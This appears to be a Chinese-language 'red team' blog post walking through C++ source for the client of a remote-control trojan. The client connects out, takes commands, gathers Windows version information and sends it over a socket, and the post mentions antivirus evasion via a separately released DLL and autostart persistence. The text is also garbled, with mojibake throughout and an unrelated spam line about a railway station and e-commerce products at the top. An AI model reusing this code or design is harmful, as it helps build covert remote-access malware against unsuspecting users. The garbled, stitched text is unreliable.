廣州南站在哪個(gè)區(qū)電商最好賣的十大產(chǎn)品
紅隊(duì)專題
- 招募六邊形戰(zhàn)士隊(duì)員
- 端
- 操作系統(tǒng)SystemInfo類
- 獲取系統(tǒng)信息
- 發(fā)送系統(tǒng)信息
- 頭文件聲明
- 頭文件調(diào)用
- 未找到來自 OleAcc.dll 的導(dǎo)入LINK
招募六邊形戰(zhàn)士隊(duì)員
一起學(xué)習(xí) 代碼審計(jì)、安全開發(fā)、web攻防、逆向等。。。
私信聯(lián)系
端
發(fā)送連接->進(jìn)入主線程->返回socket->執(zhí)行命令
->SYSINFO獲取系統(tǒng)信息->發(fā)送系統(tǒng)信息
switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
封裝類
誰使用誰聲明誰調(diào)用
免殺 kill 類 做成dll文件 分離釋放
操作系統(tǒng)SystemInfo類
獲取系統(tǒng)信息
int CSystemInfo::GetSys_ver()
{OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};GetVersionEx(&osver);int t;if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0){t = 0;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1){t = 1;}else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0){t = 2;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2){t = 3;}else t = 4;return t;
}
發(fā)送系統(tǒng)信息
void CSystemInfo::SendSysinfo(SOCKET sock)
{SYSTEMINFO_S system;system.os = GetSys_ver();system.ver = 0.1; //版本號system.Cam = false;MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = SYSINFO;memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));// 使用了 CMysocket這個(gè)類
}
頭文件聲明
#pragma once
#include "MySocket.h"
#include "Common.h"class CSystemInfo
{
public:CSystemInfo(void);~CSystemInfo(void);void SendSysinfo(SOCKET sock);CMySocket m_sock;
private:int GetSys_ver();};
#define SYSINFO 0x01
// 通用結(jié)構(gòu)體文件
路徑
自啟動(dòng)
頭文件調(diào)用
#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;int Time;CSystemInfo m_sys;};
未找到來自 OleAcc.dll 的導(dǎo)入LINK
/DELAYLOAD:OleAcc.dll;
warning LNK4199: 已忽略